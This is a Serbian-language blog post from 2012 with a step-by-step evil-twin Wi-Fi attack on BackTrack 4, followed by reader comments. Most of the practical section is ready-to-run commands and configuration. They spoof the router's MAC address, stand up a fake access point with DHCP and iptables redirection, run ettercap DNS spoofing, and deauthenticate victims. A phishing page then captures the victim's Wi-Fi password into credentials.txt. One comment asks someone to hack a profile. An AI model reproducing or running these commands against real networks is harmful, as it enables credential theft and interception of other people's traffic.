Monday, July 2, 2012

MITM (Man In The Middle)

Posle velikog broja pročitanih stranica o ovoj vrsti napada na wireless mrežu odlucio sam da napišem kompletan blog o teoriji ovog napada kao i detaljan opis praktičnog delovanja, naravno ovo se odnosi samo na korišćenje u eksperimentalne i čisto edukativne svrhe i kao takav je i izveden.

Teorija
Pretpostavimo da imamo ruter čiji je BSSID 00.11.22.33.44.55, ESSID je TEST_RUTER i radi na kanalu 1 a enkripcija lozinke može biti bilo koja od trenutno aktuelnih WEP, WPA, WPA2 i ozačimo ga sa R. Dalje imamo računar koji je bežično povezan na gore pomenuti ruter i za kojeg nije potrebno poznavati niti mek adresu niti IP adresu niti bilo koji podatak osim podatka da je konektovan, a ako je konektovan znači da osoba koja radi za tim računarom poznaje šifru za povezivanje na ruter. Označimo ovaj računar sa A.
Naš računar (u daljem tekstu B) koji će obavljat ceo proces MITM napada treba da ima wireless karticu i da je u dometu i računara i rutera. Kako znati kada smo u dometu oba? biće objašnjeno u praktičnom delu. Sama rečenica Man In The Middle (Čovek u sredini) govori da nešto mora da se nalazi između rutera i konektovanog računara, a to nešto je upravo računar B. Pa kako računar B može da se nalazi između i šta to praktično znači? To znači da računar B treba da glumi odnosno da se pretvara da je on ruter i to dovoljno ubedljivo da bi računar A poverovao da je računar B u stvari ruter R i da se nakači na računar B. Da bi računar A poverovao da je računar B ruter R potrebno je da računar B ima sve karakteristike rutera R a to su: isti BSSID, ESSID i kanal što znači da računar B mora da radi kao ruter R. Primer rada wireless kartice kao ruter jeste jednostavna LAN Wireless mreža. Da bi se računar A konektovao na računar B potrebno je diskonektovati računar A sa rutera R i konektovati ga na računar B. Dakle rezime teorije glasi: Imamo ruter na koji je povezan računar i mi kreiramo računar da radi kao ruter sa istim karakteristikama kao pravi ruter, diskonektujemo metu-računar sa pravog rutera i preusmerimo ga na naš računar. Nadam se da je koliko toliko jasan koncept i sada možemo preći na praktični deo.

Praktični deo
Pokrenemo BackTrack 4, otvorimo prvi shell i u njemu kucamo sledeće komande:
1. airmon-ng  -  komanda služi da bi izlistala sve trenutne interfejse. U ovom slučaju su već kreirana dva interfejsa mon0 i mon1 ali to ne treba da vas buni ako vam ispiše samo wlan0 jer je to u redu.

2. airmon-ng stop wlan0 - komanda služi da zaustavi wireless interfejs kako bi imali pristup podesavanju istog. Videćete da je uspešno izvršena komanda tako što će u zagradi pisati (monitor mode disabled).


3. macchanger --mac 00:11:22:33:44:55 wlan0 - komanda služi da bi se zamaskirala prava mac adresa i postavila mac adresa po želji.
4. airmon-ng start wlan0 - komanda služi da se interfejs wlan0 postavi u monitor mode (monitor mode enabled on mon2. Napomena: ukoliko vam je izlistano pomocu airmon-ng komande samo wlan0 onda će pisati monitor mode enabled on mon0).


5. airodump-ng wlan0 - komanda služi da se izvrsi skeniranje mreža u okolini kao i klijenta u blizini koji su nakačeni na mrežu.


Nakon pokretanja ove komande u shell-u će se ispisati nešto slično ovome:


Pošto uočite da je izlistana mreža kao i prikazan klijent koji je nakačen na tu mrežu možete pritisnuti CTRL+C za prekid skeniranja. Nakon toga kopirajte BSSID mreže, kanal (CH) na kom mreža radi kao i ESSID mreže. Posle toga kopirajte i mac adresu računara koji je konektovan na tu mrežu (STATION). Sada imamo sve potrebne podatke za izvodjenje MITM.

MITM
Sada ćemo analizirati šta je sve potrebno za uspešno pokretanje Ewil Twin AP odnosno za kreiranje identičnog rutera sa naše wireless kartice.
Prvo je potrebno podesiti ettercap.
1. /usr/share/ettercap/etter.dns  (PODEŠAVANJE UKLJUČENO U SKRIPTU)
U ovom fajlu je potrebno izvršiti sledeće promene:

Ispod ovih linija:
# microsoft sucks ;)
# redirect it to www.linux.org

Dodati sledeće:
*  A  10.0.0.1
*  A  10.0.0.1
*  PTR 10.0.0.1
ovo je podešavanje DNS servera na našem računaru. Sačuvati promene i zatvoriti.

2. /usr/etc/etter.conf (PODEŠAVANJE UKLJUČENO U SKRIPTU)
Uovom fajlu ispod linija:
#---------------
#     Linux
#---------------
potrebno je skloniti komentar (#) ispred linija obojenih plavo

# if you use ipchains:
#   redir_command_on = \"ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport\"
#   redir_command_off = \"ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport\"


# if you use iptables:
#   redir_command_on = \"iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport\"
#   redir_command_off = \"iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport\"
ukoliko je vec sklonjen znak za komentar ne dirati ništa. Sačuvati promene i zatvoriti.

3. DHCP (PODEŠAVANJE UKLJUČENO U SKRIPTU)
mkdir -p "/pentest/wireless/airssl"
echo "authoritative;
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name "\"$ESSID\"";
option domain-name-servers 10.0.0.1;

range 10.0.0.20 10.0.0.50;

}" > /pentest/wireless/airssl/dhcpd.conf

Ovo služi za kreiranje DHCP servera koji će računarima koji se kače na naš računar dodeljivati IP adrese u domenu od 10.0.0.20 do 10.0.0.50 sa Gateway 10.0.0.1.

4. Fake AP - Ewil Twin AP (PODEŠAVANJE UKLJUČENO U SKRIPTU)

ifconfig $fakeap_interface down
macchanger --mac $BSSID $fakeap_interface
ifconfig $fakeap_interface up
xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c "$channel" -e "$ESSID" $fakeap_interface  & fakeapid=$!

Ove komande rade sledeće: prvo ide promena mac adrese na mac adresu AP koji kopiramo, a zatim i pokretanje AP-a sa našeg računara u posebnom prozoru.

5. Table za prosleđivanje (PODEŠAVANJE UKLJUČENO U SKRIPTU)

ifconfig lo up
ifconfig at0 up &
sleep 1
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 80
 Table za prosleđivanje omogućuju da se svaka stranica odnosno svaki URL unesen u browser prosledi na stranicu u appache serveru na našem računaru, što znači da će mu biti prikazana naša custom stranica gde god da pokuša da ode.

6. Pokretanje DHCP (PODEŠAVANJE UKLJUČENO U SKRIPTU)
touch /var/run/dhcpd.pid
chown dhcpd:dhcpd /var/run/dhcpd.pid
xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!
Komande za pokretanje DHCP servera u novom prozoru.

7. Pokretanje Ettercap-a (PODEŠAVANJE UKLJUČENO U SKRIPTU)
xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -P dns_spoof -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!
Komanda za pokretanje ettercap-a i uključenje plugin-a dns_spoof  koji ce preusmeriti svaki URL na našu stranicu.

8. Appache


U folder /var/www potrebno je kopirati fajl WPAPhish.tar.gz i raspakovati ga u tom folderu, u ovom fajlu se nalazi custom stranica.

Napomena : ovo je potrebno uraditi pre pokretanja skripte.

echo \"$ESSID\" > /var/www/essid.txt
Komanda služi da se u fajl essid.txt upiše ESSID mreže koju kopiramo. Potrebno je radi ubedljivije stranice.

9. Čekanje
Kada se skripta pokrene potrebno je još izvršiti deautentifikaciju korisnika nakačenih na pravi AP. To ostvarujemo sledećom komandom koju treba kucati u novom shell-u:

aireplay-ng -0 1000 -a BSSID -c  wlan0
gde je BSSID mac adresa pravog AP-a. Ovom komandom mi blokiramo pravi AP, a meta-računar prepozna naš računar kao pravi AP.
Sada je ostalo samo čekati da se korisnikov računar nakači na naš server.
U prozoru gde je DHCP će te videti kada se računar nakači, a u ettercap prozoru će te videti koji URL je korisnik uneo u svoj browser. Tada će te znati da mu se pojavila naša custom stranica i potrebno ga je još malo pustiti da unese šifru za konektovanje na mrežu. Tu šifru koju je uneo možete videti u fajlu credentials.txt koji se nalazi na lokaciji /var/www/. Kada ste videli da je šifra unesena, možete ugasiti skriptu tako što će te ukucati y i zatim pritisnuti ENTER.

10. Konektovanje

Sada se možete vratiti u windows i konektovati se na mrežu a korisnikov računar, kada detektuje da je mreža nedostupna, će ponovo skenirtati mreže naći pravi AP koji je sada odblokiran i nakačiti se na njega.

Custom stranica
stranica je izrađena tako da detektuje korisnikov pretraživač i OS i zavisno od očitanog plasira odgovarajuću stranicu i pop-up upit za unos šifre. Trenutno dostupne stranice su ya: Mozila, IE i Chrome a OS: Windows 7 i XP.  Naravno možete i sami dodati stranice za druge.
U prozoru za unos šifre primetiće te da piše da je mreža GOOGLER. To je samo radi testa a pravo ime će se pojaviti posle gore pomenute komande koja vrši upis ESSID-a u fajl essid.txt.

a) Mozila / XP



b) Mozila / Win 7



c) IE / XP 



d) IE /Win 7



e) Chrome / XP



e) Chrome / Win 7




6 comments:

  1. Gde se nalaze fajlovi' /ettercap/etter.dns' dali postoje u back track ili se naknadno skidaju

    ReplyDelete
  2. *ispravka.- etter.conf Imam back track 4 r2. i u folderu "/etc/" nemam dokument-etter.conf mozda se nalazi u nekom drugom folderu.Video sam da moze da se nadje na netu pisani sadrzaj 'etter.conf' i da se prekopira u tex dokumend i postavi u /etc/.Pitanje je dali ce to raditi.Drugi problem je sto fajlovi -WPAPhish.tar.gz- gotovo da ne postoje na netu,ili su pod drugim imenom.Dali moze objasnjenje kako inaci.Hvala.

    ReplyDelete
  3. Da li neko zna da mi hakuje jedan profil?

    ReplyDelete